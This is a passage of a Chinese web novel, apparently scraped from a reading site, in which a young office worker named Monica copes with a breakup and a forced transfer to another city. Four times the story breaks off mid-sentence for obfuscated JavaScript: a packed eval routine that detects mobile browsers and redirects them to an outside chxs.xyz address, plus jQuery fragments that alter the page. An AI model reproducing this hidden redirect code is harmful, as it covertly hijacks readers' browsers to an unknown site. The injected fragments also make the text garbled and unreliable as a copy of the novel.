一屁股坐在地板上,我开始认真想,肖平是从什么时候开始,一件一件把自己的东西从我的眼皮底下悄无声息地搬走?是两周前还是更早?而那个女人,究竟是最近才结识的新欢还是早就已经在一起的旧爱?
而我,究竟是因为迟钝还是不在乎,才会后知后觉地到现在才发现,这个男人早就已经把他自己的痕迹从我身边一点点地抹去。
客厅里的钟滴滴答答地走着,已经凌晨三点了,我睡意全无。把属于肖平的所有东西全都打包,他留下来的大部分都是书,装了满满一箱子。
那些书,大多数是我们刚在一起的时候去逛书店买回来的,他那个时候说,虽然我们物质贫瘠,可拥有无比丰富的精神世界,拥有彼此是这个世界上千金不换的美好。
五年,剩下的不过是一个箱子,没有任何温度。而美好,早已不知道去了哪儿。
微凉的晚风吹得帘子张牙舞爪地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672107|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摇曳,豆瓣酱用它浓烈的味道不断地向我发出“厨房需要清理”的邀请。
我走进厨房,按下开关的那一瞬间,心情再次down到谷底——恶心的血水从冰箱的底层流出来,混着被打翻的豆瓣酱,面目可憎。我损失的不仅仅是爱情,还有两块上好的肋眼牛排——它们本来应该出现在五周年旅行归来之后的烛光晚餐上。
用抹布擦干净窗台和水槽,拿起拖把,只不过两三下,整个拖把就成了棕黄色的污渍混合体。水开得太大,溅到了身上,睡衣上一大片水渍。
我没有力气再折腾自己,把抹布扔进垃圾桶,把拖把丢在角落。我放弃!我投降!我不玩了行不行?!反正已经不能再糟糕了,我终于大哭起来,伴随着哗啦啦的水声,我的哭泣声被淹没地没了声息,只留下如困兽般的呜咽。
有没有人在乎我?我也没办法确定。从什么时候开始,我将自己封锁在一方小天地里,这个天地狭隘逼仄,但我以前丝毫不觉得,反而认为它温馨浪漫。
整个城市还在沉睡,我像是一个游离在城市夜幕下的幽灵,在微微闪烁的车船灯光里不知道自己该往哪里走。
我突然很想回家,回那个曾经想远离的十八线小县城。也很想我妈,想要一头扎进妈妈怀里,什么也不说,大哭一场。
坐在地板上,我的脑子里一片空白,眼睛肿胀的疼痛提醒我,如果再不去睡觉,明天全公司都将看到一个黑眼圈掉到胸部的失足妇女;但我的情绪只顾着顾影自怜,眼泪不受控制地流下来。似乎只有□□的加倍疼痛才能够缓解精神上的痛楚,也许当身体痛到一定程度的时候,我们顾着怜悯自己的□□之痛,才能忽略精神上的疼。
我想不出来到底是哪里出了错,究竟是他变了而我还在原地踏步,还是他其实一直都是那样,只是我从来没有真正地认识过他?
我开始思索露西的提议。或许,并没有我想象的那么糟糕。
离开这个城市,把所有的一切都掩埋掉。重新开始,是一个多么具有诱惑力的词——也许,可能,很多人都希望有这样的一个契机,只是囿于各种各样的限制,没办法重启人生。
我不一样。
如果说我待在S市的理由是肖平,现在它已不复存在,我又有什么好犹豫的呢?T市虽然远不如S市繁华,可跟我家那个十八线小县城比起来,仍然不可同日而语。
也许是灯光灭了之后城市的夜晚一样漆黑,也许是我真的疯了,我愈发觉得,离开是目前能够救我于水火的唯一途径,我想要逃得远远的,离开这个让我伤心的地方。
没有什么是非拥有不可的,只是习惯成了桎梏。
别人一定以为我疯了,深更半夜,我从家里拖出一大包物品,用的是红白蓝塑胶袋。没错,就是港剧里最常见的那种抛尸袋,连拖带拽往垃圾堆放点拖去……像是意图不轨的抛尸现场。
“站住!”听到一声爆呵的时候,我的第一反应是——原来中介没骗我,这小区的治安是真的好。
“这大半夜的,干什么的?”
“扔垃圾。”虽然底气不足,但我还是开了口。
“垃圾做好分类了没?垃圾回收站这个点都下班了,怎么就等不及明天扔呢?”保安大叔晃着手电筒朝我走过来,强烈的光束晃得我眼晕。
“我要调去外地了,得赶着搬家。”
鼻子一阵猛烈的酸楚,我使劲吸鼻子,感觉眼泪快要从眼眶里溢出来。
保安大叔手电筒照过来,看清楚我的样子后愣了一下,“搬家?那也不急这一会儿。”
敲一敲自己快要断掉的胳膊,一步一挪地把袋子往回拖。保安大叔叹了口气,“姑娘,碰上难事儿了?”
我没吭声。
保安大叔在后面帮我抬了一把,在等电梯的时候,他低低叹了一声,“回去睡吧,管什么事情,明天醒过来都会好的。”
当电梯门第二次打开的时候,眼泪终于忍不住,滴了下来。
4. 第 4 章
努力睁着肿得像核桃的眼睛,我敲门走进露西办公室,平静地说:“Lucy,我已经邮件提出申请,什么时候出发去T市?”
她不知道在忙什么,正眼都没给我一个,“离职找人事部办手续……等等,你刚刚说什么?”
“我已经考虑好了,接受公司的安排。麻烦您看下邮件。”我尽量让自己的语调保持平稳,就像所有人挂在嘴上的那句——保持职业素养。
她猛得抬起头,像刚刚吞了一只苍蝇,一脸不可置信。
没等到她惊慌失措,她很快恢复了平静,好像刚才那个表情从来没在她脸上出现过。
“Monica,注意用词,公司没安排任何事,是你自动申请去T市。”她拿起手机,戳了几下之后说:“我批准了你的申请。晚一点会邮件通告各部门。”
不禁觉得好笑,所谓的各部门不过就是外面那几个人,加起来不超过手指头加上脚趾头,况且所有人应该早就知道了我是那个被指定外派的倒霉蛋。
我明白了,什么调去T市,什么去雷蒙德手下历练,都是借口,她真正打的主意是:我忍受不了从繁华的S市被流放到T市,自动提出离职。
只是,我想不明白的是,一直以来我虽然不算她的得力干将,但也安分守已做好本职工作。就因为一通电话被判了流放?或许我什么时候得罪过她,只是我自己迟钝没发觉?
“我的工作交接给谁?”
“整理成文档先交接给Lola吧。”
在我即将要迈出办公室门口的时候,露西突然问:“下周一就去T市报道,有问题吗?”
我迟疑了片刻,“我可能需要几天处理房子的事情。”
露西有些不耐烦地说:“私人的事情跟公司没关系。你看下什么时候能走,尽快办调转流程。”
“我尽快。”
尽管知道这可能是最好的结果,但心底还是控制不住泛起悲凉感,就那种虽然这个世界很大,但我却找不到容身之地的荒凉。
“那你走个流程,自己定张机票飞T市吧。”从背后传来露西的声音,像是隔着玻璃罩一样的不分明。
绷紧的后背在踏出露西办公室的那一刻松了下来,环视整个办公室,所有人都低着头,看上去很忙碌的样子。
所有人秉承的态度都是:这不过是一份工作,鬼才要在这里交朋友,连同我自己也是一样。我不知道Tony Wang和Alex Sun的全名是什么,每次订完酒店机票之后,我就把那一个个活生生的人抛诸脑后,他们只存在于我的邮件列表和内部通信录里。
丝毫不怀疑,别人也不知道我的中文名是什么—— 我们就好像自己的英文名一样,只不过是一串字符。至于真实的我们是谁,在生活中如何,没有人关心。
我在茶水间里倒茶的时候,Lola悄悄地摸了进来。
她在旁边等着我洗杯子,突然问:“那个……Monica,你真的准备去T市啊?”
“对,Lucy希望我下周一就走。”
“这么急啊?”
我勉强笑了一下,“据说项目比较急。”
她突然伸手递过来一瓶饮料,“你试试看?新出的,茉莉味的。我今天早上排队才买到的。”
很神奇,在我被踢出局了之后,同事间反而表现出人情味的一面,大概是危险警报已解除,而我作为先驱者为大家扫平了道路。这种莫名其妙的亲近,让我五味杂陈。
“谢谢你。”
她有些不好意思,讪笑着说:“哎呀,不客气的呀。”
这个世界,没有永远的朋友,也没有永远的敌人,有的只是永远的利益。
距离去T市只剩下4天,而我还有一大堆的事情要处理:交接工作;租房合同还没到期,要跟房东结算各种费用;在T市找房子;打包行李寄送到T市……
大概第一个星期我还能住酒店,但后面还是得找住的地方。
然而,留给我处理私事的时间满打满算不过两天。
我给肖平发了条微信,“我要搬家了,你的东西往哪里寄?”
在心里打定了主意,如果他本周五之前不给我答复,我就全部都扔进垃圾堆。
做完这一切之后,我内心出乎意料的平静——似乎,这是一件早就该做,却一直没有做的事情。我一直拖着,直到把自己拖到坠落的谷底。
人大概是这样一种动物,当跌落到再也无法下坠的境地时,只有两种选择:一、躺在泥泞当中不再动弹,装作自己已经死去;二、重新出发,也许能有一条生路。
我好不容易说服自己,重新出发是目前对我来说最好的道路,可活到快三十岁,这一次才是真正的独立。独自面对未知的城市、未知的工作和未知的同事,说不害怕,那是骗人的。
显然,我并没有能欺骗我的大脑,它疯狂地输出让我想要逃避的真实想法:哪儿有什么选择,只不过是被逼无奈,还要死鸭子嘴硬给自己找借口。要真能选择,那我肯定是躺在泥泞中一动不动,安详地等待能够心无旁骛住进棺材的那天。
我深深地呼出一口气,在去人事部做调转手续之前,先去了个厕所——当我紧张的时候,不仅尿频,还反胃,压力的作用在我这种胆小人类身上体现地淋漓尽致。
大概是已经很久没跟压力共处,我已经快忘记了这种感觉。突如其来的尿意提醒我,我并没有变勇敢。
一路冲进了厕所,刚释放完,就听见两个女的在外面说话——我对音色很敏感,只听了几句就知道是销售部的Angela和Bella。
……
Angela 一直是把刻薄当直率,她话里话外透出赤裸裸的鄙视,“我们GT现在已经沦落到要靠T市那帮土老帽了?”
“怎么可能?!”Bella的声线又尖又细,像是粉笔在黑板上刮过,每次听到我都会起一身鸡皮疙瘩。她顿了顿说:“不过听说今年中国区的业绩3/4是他们贡献的。”
“他们大概还不知道,总部对他们的工作早就不满意了。”
“总部不是一直很看重业绩增长吗?”
“你懂什么,就算整个亚太区的3/4是他们贡献的都没用。”我能想象Angela翻了个白眼,“重要的是谁贡献业绩吗?重要的是总部的品牌定位——他们什么客户的案子都接,拉低了整体调性。而且,他们那帮人都土得掉渣,一点品味
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672108|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都没有,从上到下都不知道穿的什么杂牌。”
万万没想到,我对新同事们的最初认知居然来自于厕所八卦。
但生活的精彩之处在于,你永远不知道下一刻来的是惊喜还是惊吓;你也不知道,什么时候吃瓜会吃到自己身上。
“所以,你知道为什么没有人愿意去T市了吧……”
“这么说,那个Monica,欸,她是Monica什么来着?”
“好像是Monica An吧?”
听到自己的名字,忍不住想确认下是谁在背后说我的是非,悄悄打开一条缝——果然是Angela和Bella,Angela正拿着TF的暗夜玫瑰对着镜子补口红——Bella瞥了她一眼,眼神中满满的都是嫉妒,嘴上没有停止八卦,“大概是她吧,我只听说是原来的行政。”
“管它呢,总之那个倒霉蛋去了,我们就不用提心吊胆了。”
“也就是她傻,换岗要经过员工同意的呀。要是我,就向总部写邮plain,最不济,拿个大礼包走人也是好的呀。”
“怎么说呢,我们还是得感谢她。不然还不知道Lucy要把谁流放呢,那个鬼地方,就算给我加薪50%,我都不要去。都不用一年,就跟那帮土老帽一样了。”
虽然我知道这是一个事实,但仍然抵不住如此直白地从别人嘴里吐出来的真相。
“你有什么好担心的,几个大客户都在你手上,Lucy怎么可能会调你去T市。”
Angela咯咯咯笑得像只刚下了蛋的母鸡,“那倒是哦。”
后续她们就开始讨论口红颜色,分享彼此的香水品牌等等那些日常又无聊的话题。曾经,我也非常热衷于这些八卦和所谓的精致生活,但现在,我只觉得可笑。
她们走了之后,我过了十分钟才从厕所出来,往人事部走去。
经过前台的时候,有一个看着十分眼生的姑娘站在那,一脸茫然——Lora不在那里。
“你好,请问找哪位?”
我发誓,并不是想多管闲事,但她的茫然触动了我。
“Jessica约了我,但我联系不上她。”
“Jessica Zhang还是Jessica Hu?”
那个长相甜美的妹子一脸迷惑,“我不知道哎,你们有很多Jessica吗?”
“那你是来开会、应聘还是?”
“我来应聘行政助理职位。”
“哦,那你应该找的是Jessica Hu,她负责Human Resource的recruit模块。”
看来,行政职位不需要额外人手也是借口,所有原先藏在冰山下的真相一点点慢慢浮出水面——露西不喜欢我很久了,只是没有合适的理由干掉我。她甚至还不想赔钱,最好的办法当然是逼我自己走。
这个岗位大概也是露西早就已经跟人事部预定了,不然,就人事部门连岗位职责都要写一个星期的效率,怎么会我还没滚蛋,就有候选人来面试。
在这一刻,我突然有一些自鸣得意,或者说幸灾乐祸的情绪——看,就算是露西,也会有如意算盘落空的时候。
5. 第 5 章
Lola看到我的时候,明显吃了一惊,“Monica,你还在公司啊?”她急匆匆地安排候选人去会议室,然后给Jessica发了消息,之后有点局促地看着我笑了下。
也不知道是出于补偿心理还是同情,她压低声音向我透露,露西刚刚接到一个大客户的投诉,下午要赶去北区处理,大概率下班前赶不回来;暗示我可以早点回去。
“Lola,你有空吗?抽时间交接下工作。”
“不用啦,你整理个文档给我就行了。那些工作又不难,上手很快的……”Lola像是突然意识到什么,“我不是那个意思……”
虽然不用交接听上去很不错,可是我的工作随便任何人都可替代,不存在技术壁垒,甚至没有一点难度,这一点让我怅然若失。
“搬家不要太麻烦哦,况且你还要换城市。”Lola同情地看着我,适时岔开了话题。她压低声音说了一句:“员工外派公司会给住房补贴,你记得申请哦。”
我在行政部待了很久,可我确实没操作过外派员工。我也没有印象这一条是否写在员工手册里。
有些迟疑,如果申请需要露西审批,谁知道会不会流程卡到天荒地老。自从窥见了事实真相之后,我深刻地领域到,她不会给予我任何便利,不设置障碍就已经要谢天谢地了。
似乎看出了我的担心,她悄悄说了一句,“申请会直接到人事部。”
这一次的感谢并不是出于客套,而是真心实意。我跟Lola其实只有一些工作上的接触,私下里基本没交集。
“这次Lucy真的蛮过分的。”她轻轻说了一句。
我突然感觉自己的鼻子酸了一下,赶紧找了个理由,远远地躲开了。
果然,午饭过后,露西就急匆匆地拎上包往外冲。跟在她后面的是Angela,一副低眉顺眼的样子,完全不像先前那么嚣张。
“你是怎么服务客户的?”Lucy扯了下袖子,此刻她的怒火值高达五颗星。
Angela大气都不敢出,她把自己的包背在肩上,两手接过露西那只张狂的爱马仕铂金包,在旁边小声道歉。
她们像一阵风一样从我身边刮过去,整个世界瞬间安静了。
我掏出手机,查看昨天下单的纸箱物流信息。显示已经达到S市。现在的商家就像害怕买家反悔一样,恨不得刚下单就把东西杵在你家门口。
确定她们的电梯下去了,我偷溜回家了。
先把东西分好类,然后把一些通勤的衣服收到行李箱里。忙完这些,我累得坐到了地板上,看了眼手机,没有任何信息,Lucy应该没回公司,否则她会指挥我干一堆奇怪且看不出任何意义的工作,譬如整理去年已经归档的文件,查询下周某城市的酒店价格,年会的场地安排……
这狂放的大风天,让我恍惚忘记了此时已经是夏初——凉爽的空气吹在皮肤上,好像是轻柔潮湿的吻,换做以前,这种天气能让我忍不住哼起歌来。
站在窗户边,闭上眼睛,傍晚的阳光斜斜地照进客厅,铺在地板上像是抹上了一层金黄色的油脂。夕阳西斜,天光由明渐渐转暗,呈现出夏季所特有的湛蓝。随着太阳一点点沉入地平线,直至完全看不见,整个天空从明亮的灰色转入深沉的黑暗,街灯一盏盏渐次亮起。
舒伯特的小夜曲轻扬在空气里,我轻轻叹了口气。
多美好的傍晚。
多惬意的意境。
我深深地吸了一口气,再缓慢地吐出来,第一次觉得自己如此自由。
但在下一刻,伴随着哐当哐当的敲门声,大妈高亢的声线在楼道里回荡——708的在家吗?!你家这个月的水费过期了,赶紧交一下!自由而美好的景象瞬间灰飞烟灭,我的心情重新down到了谷底。
还没等我回过神来,手机震动了一下,弹出一条消息,“招商银行祝您生日快乐!”
这一条不合时宜的短信,提醒着我,我已经一只脚跨入了30岁的大门。
我知道自己该平静地接受,但内心还是奔腾着汹涌的怒意,“你才生日快乐!你全家生日快乐!老娘还有三个月才三十岁!”
三十岁,曾经是那么遥远的一个数字,顷刻之间就要来到。
在十五岁的时候,我认为三十岁的女人都已经老得快进坟墓了,虽然我妈那个时候已经快四十岁了,但我以为,妈妈跟女人是两个概念。
在二十五岁的时候,我曾经意气奋发地相信,到三十岁我肯定有了自己的家,房子会装修成我喜欢的日系风,全部都用原木色。我幻想过家具的样式,甚至窗帘的颜色。我曾经热切憧憬过自己的家庭生活。
但现在看起来,像个白日梦。
回想过去的那些日子,我究竟都干了什么,却悲哀地发现,除了有一份高不成低不就的工作,一份形同鸡肋的爱情之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672109|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
外,我的生活一片惨白。而现在,生活突然按下了暂停键,过去已然是一片茫然,那么未来呢?我竟然发现,除了“失败”之外,没有词语可以作为我的人生注解。
我只是有点不甘心,凭什么?!肖平这个混蛋,凭什么可以连一条微信都不回!
伴随着愤怒之余,还有那种漫无边际的羞耻感,我总是控制不住地怀疑:我的身上挂着鲜明而巨大的标签——接近腐烂,库存清仓。
在此之前,我全部的人生目标,似乎都围绕着一个主题——结婚生子。我没有什么伟大的理想,马丁·路德·金说过:“我有一个梦想”,一千个人有一千个梦想,而我的梦想如此微小而普通——曾经我一直坚信自己的梦想朴素且实际,是很容易实现的那种,甚至都有些高攀了“梦想”这个词。但现在,我才知道,那确实不能算作梦想,只是一个不切实际的梦而已。
从小到大,我妈总告诉我,人不能好高骛远,不要做那些不切实际的白日梦,而要紧紧抓住眼前的——于是,我抓住了肖平,以为这样就抓住了未来。
现在,我觉得自己是个白痴。因为我悲哀地发现,如果在这一刻死去,我的墓志铭上或许只能写着“这是一个无比愚蠢的女人,她把自己的人生寄希望于一个无望的可鄙的不顾她死活的男人身上”,这是“关于我”的所有,既没有夸大,也没有贬低,只是十分直白地剖析了事实的真相。
既然所谓的现实和白日梦都可能变化,那我为什么不能做更大的梦呢?那个梦,或许叫做梦想,但那需要巨大的勇气。
而我,一直都是个怯懦者,躲在安全感的后面,把自己的人生过得一塌糊涂。勇气,看起来好像不属于我。
我拼命地想,到底我是从什么时候开始变得畏首畏尾的呢?还是说,其实我从头到尾都是胆小鬼,只不过我蒙住了自己的眼睛,装作看不见罢了。
五年的时间,我站在30岁的入口处,手里握着一张去往二线城市的通行证,一如我初来S市一样,茫然且不知所措。
或许在今天之前,我还能跟自己说,安然冉,是你自己做出了选择;但现在,我无比清楚地知道,我其实没有选择。
等待着我的,又将是什么呢?!
在此之前,我想要的是确定的安稳的没有任何波澜的生活,不需要与众不同,只要它朝着既定的目的地前行就好。现在,上帝掷骰子,扔出了一点,一切回到原点。
6. 第 6 章
一直播报的台风警告并没有带来暴雨,而是突然就进入了炙烤模式。暴热的天气闷得难受,从太阳跃出地平线的那一刻,就开始积聚热量。
到了八点钟,太阳已经毒辣辣地晒得脸烫,地面隐隐约约地透出热气,我走到地铁站的时候已经大汗淋漓。更让人绝望的是,这还不是最热的时候。
不知道是空调坏了还是压根没想到开空调,地铁像是个巨大的蒸笼,对面的大叔身上散发出一股生猛人肉的味道。大概离我三个人的位置,两个操着本地口音的人互相对骂了起来。我默默地在心里咒骂:这世界是怎么了?还能更坏吗?如果有更坏的,就一起来吧。
这大概是老天爷唯一满足我心愿的一次,否极泰来是不存在的,雪上加霜随处可见。
我在闸机门口刷了两次,都显示“请至服务台”。而我前面嘈嚷着各种问题的人已经排成了一个Z型,我距离迟到只有十分钟。
当我满身大汗跑到办公室的时候,打卡时间显示刚刚过了9点——完美的迟到。我刚喘着粗气坐到位置上,就接到露西的电话叫我去她办公室。
露西刚挂了电话,从面带假笑到冷若冰霜无缝链接,“情况有点变化,明天你就去T市。”
“Lucy,我已经定了下周一的机票。”
“退了重新订一张。” 她眼睛都没抬一下,“公司会pay。”
“明天太仓促了……Lucy,我还没办理完交接。”
“把最紧急的事情交给Lola,后续发邮件好了。”她顿了片刻,“也没什么重要的工作。”
“至少给我点时间办理退租。”
她不以为意,甚至扯着右边嘴角挤出了一丝笑,好像我在说什么大笑话,“外派员工会有房屋补贴,你这里的房子也不是一定要退吧。”
我目瞪口呆地望着她,脑子里嗡嗡响着,不退留着干什么?
“反正也没多少钱,不是吗?”
何不食肉糜现代版,她以为每个人都跟她一样,住着大房子,开着价格不菲的跑车,时不时用招待客户的名义去人均过千的餐厅大吃大喝……
她没有继续在这个话题上纠缠,没等我反驳,转换了话题,“Raymond要求你明天去分公司报道,如果你觉得不ok,你自己打电话跟Raymond汇报吧。”
我大概率看上去像是一只斗败的公鸡,垂头丧气,露西反倒是一脸神清气爽的样子。
她瞄了一眼手表,“我让Lola给你订机票,明天直接去T市。没什么事的话出去吧,我要准备下面的会议了。”
我拖着脚步离开了她的办公室。坐到工位上的时候,顺手打开了电脑,千篇一律的开机画面,嘈杂慌乱的脚步声,Rebecca从她工位前走过的时候嘟囔了一句:“一天天的净开会。”
我从电脑后面往侧边探了探头,前排的位置全空了。我再向后张望了两下,也没有人。整个办公室里的人大概都去了会议室——露西可能又在畅想Q3季度的KPI达成,又或者是下半年的战略发展蓝图。
时间像是过去了很久,我掏出手机一看,才不过九点过了一刻。
脑子里呼啸而过轰隆隆的念头是——安然冉,你现在赶紧去处理房子的事情。现在,立刻,马上。
露西只要开全员会议,最喜欢挨个点名让人发表意见,最后她再来总结发言。每次不开一个上午,都不能显示出她的战略思维。但事实上,除了翻来覆去毫无意义的“务必”、“拿下”、“预估”这些词语之外,并没有实质性可以拓展业务的思路。
我参加过几次这样的会议,是在刚进入公司的第一年。刚开始,我心潮澎拜,误认为这就是企业文化在现实里的具象化。后来才发现,每次开会都是同一套说辞,同一个论调。如果不是因为人少而太多显眼,大概会有人在后排打个盹,弥补周日拼命熬夜以期延长周末快乐时光所带来的严重睡眠不足。
当然,每次开完会,她都会把营销部的Alex单独留下来,展现她的“二八少女”魅力。
但现在,我没有资格同情任何人。
偷偷从工位上溜了出去,经过前台的时候,Lola正拿着植村秀的砍刀眉笔在画眉毛。发现有人经过,她慌慌张张地把眉笔藏到桌子底下,正襟危坐,露出八颗牙的标准笑容,“您好,请问……”,发现是我,她吐出一口气,我们彼此纵容对方处心积虑的偷懒。
通往卫生间的走廊上空无一人,我走到一个拐弯的小角落里,给房东打电话。
我刚开口说协商退租的事情,房东那边就发出一声尖叫,吓得我差点把手机摔地上。然后啪的一声,电话挂断了。
过了两三分钟,我已经快回到工位上了,房东的电话打了过来。我一路小跑去走廊接起了电话。
“你已经是这个月第三个说要退租的了!你们是约好的吗?!要是所有人都跟你们这样,我还不得累死!”房东劈头盖脸轰了过来。
房子6月底就到期了,房租早就交过了,我想拿回房屋押金。但房东说,由于没有给他找好下一任房客,所以押金不退。
这么短的时间,我上哪儿给她找租客去。
“我交到6月底的房租,现在就不住了。已经让出了接近1个半月,再不退押金,是不是有点过分了。”
“那我不管。”尽管看上去跟我年纪差不多大,但她可比我精明得多。“我又没让你搬,你可以住到6月底。过了6月,要么你把钥匙交出来搬走,要么你转租出去。”
这有什么差别?只不过是我的行李可以晚一个多月搬走,转租得忍受时不时有人找我看房子。我总不能就为了转租两个城市来回跑吧?!
“那行吧,我到期了再搬。如果转租出去了,押金是要退的吧?!”
房东在电话里轻哼了一声,“你能转租出去,押金一毛钱不少退给你。”
其实,只不过是用下一任租户的押金替代我的押金而已。押金将我们绑架在租的房子上,承担它可能突然被抛弃的风险。为什么感情没有押金呢?
最初租房子的时候,说好了租满一年到期退就能返还押金,但只是口头协议。现在房东死活不承认有过这样的约定,说必须转租出去才能退还押金,我也没有别的证据。
我非常想把合同扔在这个狡黠的女人脸上,可我的押金还捏在她手里。
直到这一刻我才明白一个道理:到了这个份上,就只是看房东人品了。租房并不像别的业务存在复购,租房就是一竿子买卖。所以,最后是好聚好散,还是谈崩撕破脸,在租房的那一刻就已经注定了。
“大不了押金不要了。” 有一瞬间,我甚至跟自己赌起了气,“凭什么要受这种鸟气!”
但在下一刻,我又开始安慰自己——人生就是一个又一个妥协。等银货两讫的时候,我非得在社交平台上吐槽曝光她不可。
也许是拖延症作祟,我竟然还有一丝庆幸——没有退租成功,给了我一个小小的缓冲期。
打包行李运送到另一个城市,是一个硕大的工程。
现在,我不用担心还没全部分好类装好箱,不用货比三家联系物流公司寄送。或许,我可以在下个月回一趟S市,把行李全部运走的同时,约几个人来看房子。或许,我并不用损失那宝贵的一个月押金。
显然,房东对于压榨租客已经驾轻就熟。听上去,她远不止三套房子在出租,就算这样,她依然斤斤计较着,或者说,处心积虑地压榨租房客。
我不打算让她得逞。
当我回到办公室的时候,Lora的两条眉毛已经精神抖擞地立在她巴掌大的脸上——堆砌着各种名牌的微笑是不是比寻常的微笑更甜美——我的粉底液已经快用完了,也许去T市也不用化妆,早上可以多睡十五分钟。
她冲我笑了一下,压低声音说:“你今天可以早走吧?真羡慕。”
回到工位,空调像是刚刚才振奋起来,突然冷风阵阵,我的汗毛直直地立了起来。
在放空的两个小时里,我一直试图说服自己,应该对这个工作了三年多的地方表现出留恋和不舍,至少是表面上的。可我的脑海里,浮现出来的不是那些煽情的、让人感动的画面,而是露西经常性对我的颐指气使还有跨部门合作时的诸多为难。
有一次她扔给了我一个袋子,里面是皱巴巴的一大堆发票,日期从去年到今年,有些沾着咖啡渍、有些边边角角上沾着米饭或油污,种类繁杂,林林总总:餐饮发票、停车费发票、住宿费发票、机票、高铁车票、加油费发票……让我处理报销事宜。
我好不容易按日期整理平整,按类别分好,根据公司报销流程贴好之后交到财务室。
财务Lily拎着报销文件的一角,“Monica,麻烦你仔细阅读下公司的报销流程和要求,你的报销申请不符合规范。”
她明知道这些是露西的报销,但她从来不告诉我哪里有问题,只是一遍又一遍地打回。直至露西问我,为什么报销走了两个月还没报下来,我回复她Lily没有批复。她才把一叠过期的发票标个数字,跟我说这些超期了不能报,剔除后重新填张表就能走流程了。
跟其他同事基本上都是工作上的往来。真要说私下交往,只有一次下大雨,我没带伞,Lola打到了车,把我顺到了地铁站;第二天我给她买了杯咖啡。但我们都没有借此发展出友谊。
刚生出一点点感慨,人事Jessica来找我了,说要聊下调转流程和手续。
虽然夏天才刚刚冒了头,但Jessica显然已经提前进入了夏天。她一头利落的短发,黑色无袖背心裙外面披着一件亮黄色的针织外套,袖子在胸前松松地打了个结。
“虽然只是人事调动,可该交接的工作要正常交接,还有总部的门禁、你柜子的钥匙、你的电脑、归属于公司的办公用品,都得归还;另外,有一些权限得关掉,在系统里的成本部门也要做调整。时间还是挺紧张的……不过你别担心,工龄是延续的。年假和司
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672110|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
龄假都不会受影响。社保和公积金都不会断缴,医保也正常可以使用。”
我看着她的嘴巴翕动,脑子里一片空白。
“我想问下,是算降职吗?”
她明显愣住了,“Lucy没跟你谈过吗?”
我摇了摇头。
“你这个情况,确实有点复杂。”她把视线从我脸上移开,对着电脑一顿劈里啪啦敲击,“从职级上来说,算平级调动;但从总部调往分公司,某种意义上,算降职……”
她抬头看了我一眼,见我没有什么反应,接着说:“但你又从职能部门调到业务核心部门……所以,其实,我也说不好你这属于什么,不如你就把它当作一次正常的人事调动吧。”
“其实,我关心的不是职级……”
她惊愕地看着我,似乎不能理解我的纠结。
“我只想问,薪资待遇会有变化吗?”
“会按照区域和部门薪资区间调整,另外,外派会有城市津贴和租房补贴。”
其实,我并不能完全理解她说的这些是什么意思,也不好意思盯着问,只能胡乱点了点头,表示知道了。可心里还在默默担心,会不会因为T市不是一线城市而降低基本薪资。
“还有别的问题吗?”她似乎有些不耐烦,我窘迫地瞄了下她电脑右下角——快到午餐时间了。
她抽出装订在一起的一本小册子,用铅笔画圈标出需要签字的地方,告诉我交接完工作归还物件和关闭权限都要找相应部门负责人签字。
在离开她办公室之前,我还是忍不住问了一句:“工资会变少吗?”
她一脸不可思议地看着我,过了几秒钟后,摇了摇头。
压在心上的大石头落了地,我无比轻松地去餐厅吃饭了。
下午就是例行公事地交还物品,找人签字。不知道是不是我的错觉,今天所有部门的效率都高得离谱,仿佛大家巴不得赶紧把这桩倒霉事情终结,从此歌舞升平。
还不到三点半,所有流程就走完了。我在Jessica给我的“调岗确认函”签好名字,然后不知道该做什么。
“下班前来拿盖章版本。”
内心五味杂陈,从没有一次流程如此顺畅。
我木然回到工位,开始坐着发呆。精疲力竭,靠在椅子上。IT部让我把电脑放在工位上,晚点他们会来收。电脑已经合上了,尽管还放在我面前,但我已经没有了使用权。原先不算小的办公室更加空旷,一眼看不到边界。我像是一颗渺小的微尘,在天地间飘荡,没有目的地,也没有落脚点。
又熬过了一天。
